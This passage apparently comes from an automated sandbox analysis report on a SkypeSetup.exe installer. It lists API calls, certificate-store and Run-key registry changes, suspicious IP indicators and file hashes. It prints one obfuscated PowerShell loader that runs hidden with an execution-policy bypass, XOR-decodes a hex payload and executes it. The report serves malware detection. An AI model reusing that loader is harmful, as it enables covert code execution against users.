+61 call dword ptr [005F0488h] ;GetVersionExW +67 mov eax, dword ptr [ebp-0000011Ch] +73 cmp eax, 06h +76 jne 00453A2Fh" ... at 44661-6978-004539A036:T554,GetProcessHeap@KERNEL32.DLL at 00013791-00002276-61341-136-013D9598 GetProcessHeap@KERNEL32.DLL at 00028144-00002136-7379-68-00E72955 GetProcessHeap@KERNEL32.DLL at 00028144-00002136-7379-69-00E72977 GetProcessHeap@KERNEL32.DLL at 00028144-00002136-7379-55-00E70858 GetProcessHeap@KERNEL32.DLL at 00028144-00002136-7379-71-00E7299C GetProcessHeap@KERNEL32.DLL at 00028288-00002384-17868-71-00E7299C GetProcessHeap@KERNEL32.DLL at 00028288-00002384-17868-69-00E72977 GetProcessHeap@KERNEL32.DLL at 00028288-00002384-17868-55-00E70858 GetProcessHeap@KERNEL32.DLL at 00028288-00002384-17868-68-00E72955 GetProcessHeap@KERNEL32.DLL at 00035229-00003612-35726-980-0102D61C GetProcessHeap@KERNEL32.DLL at 00035229-00003612-35726-1311-00EB06F0 GetProcessHeap@KERNEL32.DLL at 00035539-00003520-55156-499-00F80BE0 GetProcessHeap@KERNEL32.DLL at 00035539-00003520-55156-792-01096120 GetProcessHeap@KERNEL32.DLL at 00035590-00003524-50595-211-0085A7D7 GetProcessHeap@KERNEL32.DLL at 00035590-00003524-50595-108-008551B0 GetProcessHeap@KERNEL32.DLL at 00038331-00002812-58696-8-002B5572 GetProcessHeap@KERNEL32.DLL at 00038331-00002812-58696-118-002016A0 GetProcessHeap@KERNEL32.DLL at 00038331-00002812-58696-2514-002C94F6 GetProcessHeap@KERNEL32.DLL at 00039645-00002496-1931-238-00A1F4D7 GetProcessHeap@KERNEL32.DLL at 00039645-00002496-1931-190-00A1664037:T7e9,"SkypeSetup.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "SkypeSetup.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "SkypeSetup.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS"; Key: "") "SkypeSetup.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS"; Key: "") "SkypeSetup.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "SkypeSetup.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "SkypeSetup.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS"; Key: "") "SkypeSetup.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS"; Key: "") "SkypeSetup.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED"; Key: "") "SkypeSetup.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES"; Key: "") "SkypeSetup.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS"; Key: "") "SkypeSetup.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS"; Key: "") "SkypeSetup.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED"; Key: "") "SkypeSetup.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES"; Key: "") "SkypeSetup.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS"; Key: "") "SkypeSetup.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS"; Key: "") "SkypeSetup.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT"; Key: "") "SkypeSetup.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CERTIFICATES"; Key: "") "SkypeSetup.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CRLS"; Key: "") "SkypeSetup.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CTLS"; Key: "")38:T745,"SkypeSetup.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\MY"; Key: "") "SkypeSetup.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "SkypeSetup.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "SkypeSetup.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\27AC9369FAF25207BB2627CEFACCBE4EF9C319B8"; Key: "BLOB") "SkypeSetup.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\8AD5C9987E6F190BD6F5416E2DE44CCD641D8CDA"; Key: "BLOB") "SkypeSetup.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\FF67367C5CD4DE4AE18BCCE1D70FDABD7C866135"; Key: "BLOB") "SkypeSetup.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS"; Key: "") "SkypeSetup.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS"; Key: "") "SkypeSetup.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "SkypeSetup.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "SkypeSetup.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\109F1CAED645BB78B3EA2B94C0697C740733031C"; Key: "BLOB") "SkypeSetup.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\D559A586669B08F46A30A133F8A9ED3D038E2EA8"; Key: "BLOB") "SkypeSetup.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\FEE449EE0E3965A5246F000E87FDE2A065FD89D4"; Key: "BLOB") "SkypeSetup.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS"; Key: "") "SkypeSetup.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS\A377D1B1C0538833035211F4083D00FECC414DAB"; Key: "BLOB") "SkypeSetup.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS"; Key: "") "SkypeSetup.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED"; Key: "")39:T11a5,"E:\delivery\Dev\wix37\build\ship\x86\burn.pdb" "WMIC.pdb" "wextract.pdb" "C:\VSTF_Ramesh\Experiences\BingShareQID\UNIWIN\UniversalInstaller_V1.7\DefaultPack\Release\DefaultPack.pdb" "E:\Ramesh\VSTF_Ramesh\BingShareQID\Defaults\Applications\BingService\Release\BingSvc.pdb" "E:\Ramesh\VSTF_Ramesh\BingShareQID\Defaults\Applications\BingService\Release\BSvcProcessor.pdb" "E:\Ramesh\VSTF_Ramesh\BingShareQID\Defaults\Applications\BingService\Release\BSvcUpdater.pdb" "!"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~=;;=C_.,_.tanhasinacosatanatan2sqrtsincostanceilfloorfabsmodfldexp_cabs_hypotfmodfrexp_y0_y1_yn_logb_nextafterexppowloglog10sinhcoshe+000HccsUTF-8UTF-16LEUNICODEccsUTF-8UTF-16LEUNICODE(null)(null)EEE50P( 8PX700WP `h````xpxxxxSunMonTueWedThuFriSatJanFebMarAprMayJunJulAugSepOctNovDec5h!???5h!>@@USER32.DLLMessageBoxWGetActiveWindowGetLastActivePopupGetUserObjectInformationWGetProcessWindowStationENUENUENUENANLB ENC4ZHH><++--+&->*/%<<=>>=,()~^|&&||*=+=-=/=%=>>=<<=&=|=^=`vftable'`vbtable'`vcall'`typeof'`local static guard'`string'`vbase destructor'`vector deleting destructor'`default constructor closure'`scalar deleting destructor'`vector constructor iterator'`vector destructor iterator'`vector vbase constructor iterator'`virtual displacement map'`eh vector constructor iterator'`eh vector destructor iterator'`eh vector vbase constructor iterator'`copy constructor closure'`udt returning'`EH`RTTI`local vftable'`local vftable constructor closure' new[] delete[]`omni callsig'`placement delete closure'`placement delete[] closure'`managed vector constructor iterator'`managed vector destructor iterator'`eh vector copy constructor iterator'`eh vector vbase copy constructor iterator'`dynamic initializer for '`dynamic atexit destructor for '`vector copy constructor iterator'`vector vbase copy constructor iterator'`managed vector copy constructor iterator'`local static thread guard' Type Descriptor' Base Class Descriptor at ( Base Class Array' Class Hierarchy Descriptor' Complete Object Locator'CreateFile2CONOUT$1#SNAN1#IND1#INF1#QNANHh#RSDSS%mLOo~N%USERPROFILE%\Documents\Skype\winui\client\ui\branches\clientlogin\ms_installer\Components\Custom\Release\Custom.pdb&$ 00" "SELECT 'DELETE FROM vacuum_db.' || quote(name) || ';' FROM vacuum_db.sqlite_master WHERE name='sqlite_sequence'" "SELECT 'INSERT INTO vacuum_db.' || quote(name) || ' SELECT * FROM main.' || quote(name) || ';' FROM vacuum_db.sqlite_master WHERE name=='sqlite_sequence';" "INSERT INTO %Q.%s VALUES('index',%Q,%Q,#%d,%Q);" "UPDATE %Q.%s SET sql = CASE WHEN type = 'trigger' THEN sqlite_rename_trigger(sql, %Q)ELSE sqlite_rename_table(sql, %Q) END, tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqlite_autoindex%%' AND type='index' THEN 'sqlite_autoindex_' || %Q || substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');"3b:T552,FindResourceW@KERNEL32.DLL at 00035229-00003612-35726-90-00E61770 LockResource@KERNEL32.DLL at 00035229-00003612-35726-94-00E614D0 FindResourceW@KERNEL32.DLL at 00035229-00003612-35726-108-00E61540 FindResourceW@KERNEL32.DLL at 00035229-00003612-35726-555-00EB11D0 FindResourceW@KERNEL32.DLL at 00035229-00003612-35726-1632-00F1F0B6 FindResourceW@KERNEL32.DLL at 00035229-00003612-35726-1522-00F1725B FindResourceW@KERNEL32.DLL at 00035229-00003612-35726-1731-00F7F565 LockResource@KERNEL32.DLL at 00035229-00003612-35726-1523-00F1721C FindResourceW@KERNEL32.DLL at 00035229-00003612-35726-2045-00F131D0 FindResourceW@KERNEL32.DLL at 00035229-00003612-35726-2213-00F171C6 FindResourceW@KERNEL32.DLL at 00035229-00003612-35726-1853-00F16FC5 FindResourceW@KERNEL32.DLL at 00035229-00003612-35726-2211-00F16D1A FindResourceW@KERNEL32.DLL at 00035229-00003612-35726-3604-0100C4C9 FindResourceW@KERNEL32.DLL at 00035229-00003612-35726-3469-00F3D4B8 FindResourceW@KERNEL32.DLL at 00035229-00003612-35726-3602-00FF6D09 FindResourceW@KERNEL32.DLL at 00035539-00003520-55156-91-00F32910 LockResource@KERNEL32.DLL at 00035539-00003520-55156-94-00F32730 FindResourceW@KERNEL32.DLL at 00035539-00003520-55156-108-00F327A0 FindResourceW@KERNEL32.DLL at 00035539-00003520-55156-386-00F86C30 LockResource@KERNEL32.DLL at 00035539-00003520-55156-1817-00FC39043c:T4dc,"SkypeSetup.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN") "SkypeSetup.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN"; Key: "SKYPE"; Value: ""C:\Program Files\Skype\Phone\Skype.exe" /minimized /regrun") "BingBarSetup-Partner.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUNONCE") "BingBarSetup-Partner.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUNONCE"; Key: "WEXTRACT_CLEANUP0"; Value: "rundll32.exe %WINDIR%\system32\advpack.dll,DelNodeRunDLL32 "%TEMP%\IXP000.TMP\"") "DefaultPack.EXE" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUNONCE") "DefaultPack.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUNONCE"; Key: "!DEFAULTSETUP"; Value: "C:\Users\F4A2LdG\AppData\Local\Microsoft\DefaultSetup\DefaultSetup.exe") "DefaultPack.EXE" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN") "DefaultPack.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN"; Key: "BINGSVC"; Value: "C:\Users\F4A2LdG\AppData\Local\Microsoft\BingSvc\BingSvc.exe")3d:T901,"SkypeSetup.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA") "SkypeSetup.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES") "SkypeSetup.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS") "SkypeSetup.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS") "SkypeSetup.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA") "SkypeSetup.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES") "SkypeSetup.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS") "SkypeSetup.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS") "SkypeSetup.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED") "SkypeSetup.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES") "SkypeSetup.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS") "SkypeSetup.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS") "SkypeSetup.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED") "SkypeSetup.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES") "SkypeSetup.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS") "SkypeSetup.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS") "SkypeSetup.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT") "SkypeSetup.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CERTIFICATES") "SkypeSetup.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CRLS") "SkypeSetup.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CTLS")3e:T5e1,Found malicious artifacts related to "92.122.200.126" (ASN: 1273, Owner: Cable and Wireless Worldwide plc): ... File SHA256: dbd8c88a32f595b0b8b06ca77ead466c459518277c02e2cf197504b40d2a2285 (AV positives: 41/60 scanned on 07/03/2017 18:30:34) File SHA256: ea443a5d95269461ddd630c21050309b509c057c81ebd2cc2b04579f95d3d58e (AV positives: 35/62 scanned on 06/28/2017 03:57:28) File SHA256: 02620c2c18c074b695c09eacff938361d379a1375e56309f077270c7acd4802f (AV positives: 33/62 scanned on 06/27/2017 18:04:26) File SHA256: 9a9e87923cd91de8c70ba8aacae8d327359a6a6782458a8ba22357616cf0f12e (AV positives: 32/62 scanned on 06/26/2017 10:38:00) File SHA256: df77f4467b3e847d245dc61ed7189f27dbb740e7777d4d8b5c9db29588f4ec74 (AV positives: 37/62 scanned on 06/26/2017 09:01:26) Found malicious artifacts related to "52.174.193.75" (ASN: , Owner: ): ... File SHA256: dbd8c88a32f595b0b8b06ca77ead466c459518277c02e2cf197504b40d2a2285 (AV positives: 41/60 scanned on 07/03/2017 18:30:34) File SHA256: ea443a5d95269461ddd630c21050309b509c057c81ebd2cc2b04579f95d3d58e (AV positives: 35/62 scanned on 06/28/2017 03:57:28) File SHA256: 9a9e87923cd91de8c70ba8aacae8d327359a6a6782458a8ba22357616cf0f12e (AV positives: 32/62 scanned on 06/26/2017 10:38:00) File SHA256: 5696b37b6c308772c0e3dcab8ce30ae2f7b191fda9150976edb35bbb448f3a0e (AV positives: 32/62 scanned on 06/18/2017 02:48:08) File SHA256: c90473e834939e69cd58d055ddc66ebcfad91f0d343f8e9efe4ad8814dd5ee63 (AV positives: 42/62 scanned on 06/01/2017 19:49:53)3f:T5e1,Found malicious artifacts related to "92.122.200.126" (ASN: 1273, Owner: Cable and Wireless Worldwide plc): ... File SHA256: dbd8c88a32f595b0b8b06ca77ead466c459518277c02e2cf197504b40d2a2285 (AV positives: 41/60 scanned on 07/03/2017 18:30:34) File SHA256: ea443a5d95269461ddd630c21050309b509c057c81ebd2cc2b04579f95d3d58e (AV positives: 35/62 scanned on 06/28/2017 03:57:28) File SHA256: 02620c2c18c074b695c09eacff938361d379a1375e56309f077270c7acd4802f (AV positives: 33/62 scanned on 06/27/2017 18:04:26) File SHA256: 9a9e87923cd91de8c70ba8aacae8d327359a6a6782458a8ba22357616cf0f12e (AV positives: 32/62 scanned on 06/26/2017 10:38:00) File SHA256: df77f4467b3e847d245dc61ed7189f27dbb740e7777d4d8b5c9db29588f4ec74 (AV positives: 37/62 scanned on 06/26/2017 09:01:26) Found malicious artifacts related to "52.174.193.75" (ASN: , Owner: ): ... File SHA256: dbd8c88a32f595b0b8b06ca77ead466c459518277c02e2cf197504b40d2a2285 (AV positives: 41/60 scanned on 07/03/2017 18:30:34) File SHA256: ea443a5d95269461ddd630c21050309b509c057c81ebd2cc2b04579f95d3d58e (AV positives: 35/62 scanned on 06/28/2017 03:57:28) File SHA256: 9a9e87923cd91de8c70ba8aacae8d327359a6a6782458a8ba22357616cf0f12e (AV positives: 32/62 scanned on 06/26/2017 10:38:00) File SHA256: 5696b37b6c308772c0e3dcab8ce30ae2f7b191fda9150976edb35bbb448f3a0e (AV positives: 32/62 scanned on 06/18/2017 02:48:08) File SHA256: c90473e834939e69cd58d055ddc66ebcfad91f0d343f8e9efe4ad8814dd5ee63 (AV positives: 42/62 scanned on 06/01/2017 19:49:53)40:T400,AAABAAEAICAQAAAAAADoAgAAFgAAACgAAAAgAAAAQAAAAAEABAAAAAAAgAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAACAAAAAgIAAgAAAAIAAgACAgAAAgICAAMDAwAAAAP8AAP8AAAD//wD/AAAA/wD/AP//AAD///8AAAAAAAAAAAAAAAAAAAAAAAAAAADu7u7u7u7u7u4AAAAAAAAO5ubm5ubm5ubuAAAAAAAADu7u7u7uiO7u7gAAAAAAAA7u7u6P///47u4AAAAAAAAO7u7v+O6P/+7uAAAAAAAADu7uj46I7v/u7uAAAAAAAA7u7v+I+O7/7u7gAAAAAAN3ZmaIhmZoiGZmYAAAAAADN3c3Nzc3Nzc3Nzc3AAAAA3i7u7u7u7u7u7u7uwAAAAeLu7u7u7u7u7u7u7AzAAALu7u7u7u7u7u7u7uzMwAAC7u7u7u7u7u7u7u7NzMAAAO7u7u7u7u7u7u7szMwAAAHu7u7u7u7u7u7u7czMAAAMziIiIiIiIj4iIhzMzAAAzO/////////////+DMAADc7//////////////8zAAMzOP////////OP////MAADMzv//////4fzOPiIgzAAAzMzj////4M49ziziLMAAAMzMzj/+4czP/84MzMwAAAAMzMzMzO4M4//+zMzAAAAADMzMLszu4j4//gzuwAAAAADMwAzMzu///gzMzAAAAAAAzMAu7MzO4/4MzuwAAAAAAAAALu7szeIiDu7sAAAAAAAAAAzMzM/+L+zMzAAAAAAAAAAAAAAD/j/8AAAAAAAAAAAAAAAAAAA//AAAAAAAAAAAAAAAAAAAAAAAAAAAAD+AAA//wAAP/4AAD/+AAA//gAAP/4AAD/8AAAf/AAAD/gAAA/4AAAD+AAAA/gAAAT4AAAA+AAAAPgAAAH4AAAB8AAAAeAAAAPAAAADgAAAB4AAAAeAAAAPgAAAH8AAAD/BAAA/4wAAf+MAAH//AAB//wAAf//8A////AP///+D/w==41:T400,AAABAAEAICAQAAAAAADoAgAAFgAAACgAAAAgAAAAQAAAAAEABAAAAAAAgAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAACAAAAAgIAAgAAAAIAAgACAgAAAgICAAMDAwAAAAP8AAP8AAAD//wD/AAAA/wD/AP//AAD///8AAAAAAAAAAAAAAAAAAAAAAAAAAADu7u7u7u7u7u4AAAAAAAAO5ubm5ubm5ubuAAAAAAAADu7u7u7uiO7u7gAAAAAAAA7u7u6P///47u4AAAAAAAAO7u7v+O6P/+7uAAAAAAAADu7uj46I7v/u7uAAAAAAAA7u7v+I+O7/7u7gAAAAAAN3ZmaIhmZoiGZmYAAAAAADN3c3Nzc3Nzc3Nzc3AAAAA3i7u7u7u7u7u7u7uwAAAAeLu7u7u7u7u7u7u7AzAAALu7u7u7u7u7u7u7uzMwAAC7u7u7u7u7u7u7u7NzMAAAO7u7u7u7u7u7u7szMwAAAHu7u7u7u7u7u7u7czMAAAMziIiIiIiIj4iIhzMzAAAzO/////////////+DMAADc7//////////////8zAAMzOP////////OP////MAADMzv//////4fzOPiIgzAAAzMzj////4M49ziziLMAAAMzMzj/+4czP/84MzMwAAAAMzMzMzO4M4//+zMzAAAAADMzMLszu4j4//gzuwAAAAADMwAzMzu///gzMzAAAAAAAzMAu7MzO4/4MzuwAAAAAAAAALu7szeIiDu7sAAAAAAAAAAzMzM/+L+zMzAAAAAAAAAAAAAAD/j/8AAAAAAAAAAAAAAAAAAA//AAAAAAAAAAAAAAAAAAAAAAAAAAAAD+AAA//wAAP/4AAD/+AAA//gAAP/4AAD/8AAAf/AAAD/gAAA/4AAAD+AAAA/gAAAT4AAAA+AAAAPgAAAH4AAAB8AAAAeAAAAPAAAADgAAAB4AAAAeAAAAPgAAAH8AAAD/BAAA/4wAAf+MAAH//AAB//wAAf//8A////AP///+D/w==42:Tb1e,-WindowStyle Hidden -ExecutionPolicy Bypass -Command "& {$h = '2D323433372A3634671A203D2A082B3A393F352304303A305842325D4B3225382439545D704F4B0F143828343E30382D2A7214283020362C29276E6975736B11545B02072C3A393D203A211D2B320D332F221B341F3D3F2C357073164A500B10372B332935096D29201B1905574C7E4F4F7023263E2C22322B2B246569797308111731362A333A3D012D2A343F6A17101F27373520213A7B0E23263623625C470D1220352B1F0E196201292737163F2E353C7871787E2532363C784E537E1037361B3F2B3B2E3F2E666A62613A263924725D4B2B226A6D7C7D272B3424263730353B7378202D78696D6E4E4339484C6D19313711273D2C342A256D6B700212373727212B6D08263A7A113F321D3D3D2D3F3833076A79002B3F262631617E29341E1E136F6C4F4F295E5F2D2523244F4E31485E7D003D201331352C3F262775716803093D34372C2F6B082C3A7A0226201E3C202C343E220D637B0D36362532260E373A246E7E23350D1E1173704A502D4E49303C677A701E3F381C2E3D2F23243665793624686D3E342E2863485E225A521629262B2E7A7204302E1A3D2B3122303D6206342C2F203C2C2C6C3F30303D28327E7E7A434E2E494C6711262C06232B252A2B3876172E33323F2763647A6515111D78614341680D233510202526303B3D7E022D2A3E203A2D032132247479797D21362D38672836252E2D6E79484C6D3C312633627179750E342F043528342B37276A012632112B2736353E3C3D6471740C222E02263029352921311A2E282B2A21726F6C4F4F7020276874700F2733670A3633323B3661073D2A2E303E7B05077609303526282F1723282A31276B663E3C222978765B5A7D332B3723103E37667E6E7035287E1D3D2D3C0E240234346B6A62574D20313D2F28206B6828232432112C276E45432D4C4860393F063C262D27322064647A723B21383862756B232C2E27262920207A3126232A2D3E373463353F347B76746B74692E272A20383574333C7F77555010142E222A2D3E076321203B083F6E766C12322332173122202D3A2407372A2965702A2D0A273021212A2E6E5E5F68243B353129637462757D4444233D2A2E29797971753E22220B246E6936356667283622386F7A7D202A6C707E383328022663743F3672736E7373434137574C0436242627781B25352432646716313A38362632747269615859713F3C2A0821677E690A3132391C312436273F2D172C3F2E76742A3B1C21223123303278435E623633202D2278676B6336332C36377A6C7265725750272D647E2A342D303A73782D3870726B49403E31213E2C3F4C5E3954500E00213E21363D1963072C1131346973740E103B3F2D34347F1933282D6F0B2A302B222A2824136E7C1B030C1105761D2E330924312A373D6F090730292E2B26621929393420262708727316332D290824273C616C1135262D373D7D7726383A0A3F6D6E78444861352A3C3D253700203632327170760B0A223C2D2330242F292025097C60133D3D2D2C3F63631E3510372B737C5F5E00342C2120297705382F28353D3168640322302D3A311635383B296170373A283C23210E2437392F7C4E43';$key = 'KGZPCCYZGRTIZZNKLZFWBETSUHIPABDJETYWXBATDYZUSULHXZDGCIBEFINTUCBLYQYQMVPYANDSDFCFCNTFZPOXLXZ';$enc = [system.Text.Encoding]::ASCII;$data1 = $enc.GetBytes(-join ($h -split '(..)' | ? { $_ } | % { [char][convert]::ToUInt32($_, 16) }));for ($i = 0; $i -lt $data1.Length; $i++){$data1[$i] = $data1[$i] -bxor $key[$i % $key.Length];}[String]$DeStr = [System.Text.Encoding]::ASCII.GetString($data1);$scriptBlock = [Scriptblock]::Create($DeStr); Invoke-Command -ScriptBlock $scriptBlock;}"43:T400,AAABAAEAICAQAAAAAADoAgAAFgAAACgAAAAgAAAAQAAAAAEABAAAAAAAgAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAACAAAAAgIAAgAAAAIAAgACAgAAAgICAAMDAwAAAAP8AAP8AAAD//wD/AAAA/wD/AP//AAD///8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABmZmZmZmZmZmZmZgAAAAAAaId3d3d3d4iIiIdgAAAHdmhmZmZmZmZmZmZoZAAAB2ZnZmZmZmZmZmZmZ3YAAAdmZ3ZmiHZniIiHZmaGAAAHZmd2Zv/4eIiIiGZmhgAAB2ZmdmZ4/4eIh3ZmZnYAAAd2ZnZmZo//h2ZmZmZ3YAAHZmaGZmZo//h2ZmZmd2AAB3Zmd2ZmZnj/h2ZmZmhgAAd3dndmZmZuj/+GZmZoYAAHd3dod3dmZuj/9mZmZ2AACHd3aHd3eIiP/4ZmZmd2AAiHd2iIiIiI//iId2ZndgAIiIhoiIiIj//4iIiIiIYACIiId4iIiP//iIiIiIiGAAiIiIaIiI//+IiIiIiIhkAIiIiGiIiP/4iIiIiIiIdgCIiIhoiIj/iIiIiIiIiIYAiIiIeIiIiIiIiIiIiIiGAAiIiIaP///////////4hgAAAAAGZmZmZmZmZmZmZmYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD////////////////gAAAf4AAAD+AAAAfgAAAHAAAABwAAAAcAAAAHAAAAAwAAAAMAAAADAAAAAwAAAAMAAAABAAAAAQAAAAEAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAP4AAAH//////////////////////////w==1b:["$","$L2",null,{"children":[["$","script",null,{"type":"application/ld+json","dangerouslySetInnerHTML":{"__html":"$23"}}],["$","$L24",null,{"initialData":{"schema_version":"1.0.15","sha256":"cbebafb2f4d77967ffb1a74aac09633b5af616046f31dddf899019ba78a55411","overall_status":"SUCCESS","all_analysis_status":{"qsp_status":"NOT_AVAILABLE","sandbox_status":"SUCCESS","fastscan_status":"SUCCESS